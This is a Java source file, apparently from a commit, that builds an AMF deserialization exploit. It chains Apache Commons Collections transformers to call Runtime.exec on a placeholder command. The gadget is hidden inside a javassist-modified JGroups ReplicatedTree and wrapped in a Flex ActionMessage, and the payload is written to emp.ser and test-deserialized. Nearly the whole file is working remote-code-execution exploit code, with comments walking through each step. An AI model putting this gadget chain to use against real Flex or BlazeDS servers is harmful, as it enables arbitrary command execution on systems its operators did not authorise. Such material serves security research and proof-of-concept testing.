1+ import flex .messaging .io .SerializationContext ;
2+ import flex .messaging .io .amf .*;
3+
4+ import javassist .*;
5+ import org .apache .commons .collections .Transformer ;
6+ import org .apache .commons .collections .functors .ChainedTransformer ;
7+ import org .apache .commons .collections .functors .ConstantTransformer ;
8+ import org .apache .commons .collections .functors .InvokerTransformer ;
9+ import org .apache .commons .collections .keyvalue .TiedMapEntry ;
10+ import org .apache .commons .collections .map .LazyMap ;
11+
12+ import org .jgroups .blocks .ReplicatedTree ;
13+
14+
15+ import java .io .*;
16+ import java .lang .reflect .Constructor ;
17+ import java .lang .reflect .Field ;
18+ import java .lang .Class ;
19+ import java .nio .file .Files ;
20+ import java .util .*;
21+
22+ public class Test1 {
23+ public static void main (String [] args ) throws Exception {
24+ // Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
25+ ClassPool pool = ClassPool .getDefault ();
26+ CtClass ctClass = pool .get ("org.jgroups.blocks.ReplicatedTree" );
27+ CtClass ctClass1 = pool .get ("byte[]" );
28+ CtField ctField = new CtField (ctClass1 , "state" , ctClass );
29+ ctClass .addField (ctField );
30+
31+ // Remove the default getState method and replace it with our own getState method that
32+ // just returns the state field that we added in above.
33+ ctClass .removeMethod (ctClass .getDeclaredMethod ("getState" ));
34+ CtMethod ctMethod = CtNewMethod .make ("public byte[] getState(){ return this.state; }" , ctClass );
35+ ctClass .addMethod (ctMethod );
36+
37+ // Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
38+ // ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
39+ // the code below. Here we also create an object that will call calc.exe and write that
40+ // resulting object into the object output stream, before then closing the stream.
41+ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();
42+ ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream );
43+ objectOutputStream .writeObject (getObject2 ("PAYLOAD" ));
44+ objectOutputStream .close ();
45+
46+ // Convert the byte array containing the object stream into
47+ // a byte array and save that into secondObj
48+ byte [] secondObj = byteArrayOutputStream .toByteArray ();
49+
50+ // First we create a ReplicatedTree object here, which is part of our desire
51+ // to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
52+ // ctClass, aka the adjusted class that had the "state" field added and the "getState" method
53+ // adjusted, to do this. Then set the "state" field to be accessible and set its value
54+ // to that of secondObj, or the object stream created by getObject2().
55+ Constructor constctor = ctClass .toClass ().getConstructor ();
56+ ReplicatedTree replicatedTree = (ReplicatedTree ) constctor .newInstance ();
57+ Field f1 = replicatedTree .getClass ().getDeclaredField ("state" );
58+ f1 .setAccessible (true );
59+ f1 .set (replicatedTree , secondObj );
60+
61+ // Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
62+ // serialize this object and wrap it further into an AMF object, then return its byte stream and
63+ // save this into the byte array "ser".
64+ byte [] ser = serialize (replicatedTree );
65+
66+ // Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
67+ FileOutputStream fileOutputStream = new FileOutputStream ("emp.ser" );
68+ fileOutputStream .write (ser );
69+ fileOutputStream .close ();
70+
71+ // Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
72+ // into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
73+ // content to check the deserialization works properly.
74+ byte [] serContent = Files .readAllBytes ((new File ("emp.ser" )).toPath ());
75+ deserialize (serContent );
76+ }
77+
78+ public static byte [] serialize (Object data ) throws IOException {
79+ // Create the MessageBody element that will contain the data to be recreated using readObject().
80+ // Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
81+ // if you need more info on this.
82+ MessageBody body = new MessageBody ();
83+ body .setData (data );
84+
85+ // Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
86+ // end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
87+ // this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
88+ // here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
89+ ActionMessage message = new ActionMessage ();
90+ message .addBody (body );
91+
92+ // Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
93+ // Then call out.toByteArray() to get the byte array version of the resulting serialized object.
94+ ByteArrayOutputStream out = new ByteArrayOutputStream ();
95+ AmfMessageSerializer serializer = new AmfMessageSerializer ();
96+ serializer .initialize (SerializationContext .getSerializationContext (), out , null );
97+ serializer .writeMessage (message );
98+
99+ return out .toByteArray ();
100+ }
101+
102+ public static void deserialize (byte [] amf ) throws ClassNotFoundException , IOException {
103+ // Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
104+ // opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
105+ // and pass it "amf", aka the byte array stream we want to process.
106+ ByteArrayInputStream in = new ByteArrayInputStream (amf );
107+
108+ // Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
109+ AmfMessageDeserializer deserializer = new AmfMessageDeserializer ();
110+ deserializer .initialize (SerializationContext .getSerializationContext (), in , null ); // Same initialization function call, don't wnat to change this.
111+ deserializer .readMessage (new ActionMessage (), new ActionContext ()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
112+ }
113+
114+
115+ public static Serializable getObject2 (final String command ) throws Exception {
116+
117+ final String [] execArgs = new String [] { command };
118+
119+ final Transformer [] transformers = new Transformer [] {
120+ new ConstantTransformer (Runtime .class ),
121+ new InvokerTransformer ("getMethod" , new Class [] {
122+ String .class , Class [].class }, new Object [] {
123+ "getRuntime" , new Class [0 ] }),
124+ new InvokerTransformer ("invoke" , new Class [] {
125+ Object .class , Object [].class }, new Object [] {
126+ null , new Object [0 ] }),
127+ new InvokerTransformer ("exec" ,
128+ new Class [] { String .class }, execArgs ),
129+ new ConstantTransformer (1 ) };
130+
131+ Transformer transformerChain = new ChainedTransformer (transformers );
132+
133+ final Map innerMap = new HashMap ();
134+
135+ final Map lazyMap = LazyMap .decorate (innerMap , transformerChain );
136+
137+ TiedMapEntry entry = new TiedMapEntry (lazyMap , "foo" );
138+
139+ HashSet map = new HashSet (1 );
140+ map .add ("foo" );
141+ Field f = null ;
142+ try {
143+ f = HashSet .class .getDeclaredField ("map" );
144+ } catch (NoSuchFieldException e ) {
145+ f = HashSet .class .getDeclaredField ("backingMap" );
146+ }
147+
148+ f .setAccessible (true );
149+ HashMap innimpl = (HashMap ) f .get (map );
150+
151+ Field f2 = null ;
152+ try {
153+ f2 = HashMap .class .getDeclaredField ("table" );
154+ } catch (NoSuchFieldException e ) {
155+ f2 = HashMap .class .getDeclaredField ("elementData" );
156+ }
157+
158+ f2 .setAccessible (true );
159+ Object [] array = (Object []) f2 .get (innimpl );
160+
161+ Object node = array [0 ];
162+ if (node == null ){
163+ node = array [1 ];
164+ }
165+
166+ Field keyField = null ;
167+ try {
168+ keyField = node .getClass ().getDeclaredField ("key" );
169+ }catch (Exception e ){
170+ keyField = Class .forName ("java.util.MapEntry" ).getDeclaredField ("key" );
171+ }
172+
173+ keyField .setAccessible (true );
174+ keyField .set (node , entry );
175+
176+ return map ;
177+
178+ }
179+ }
0 commit comments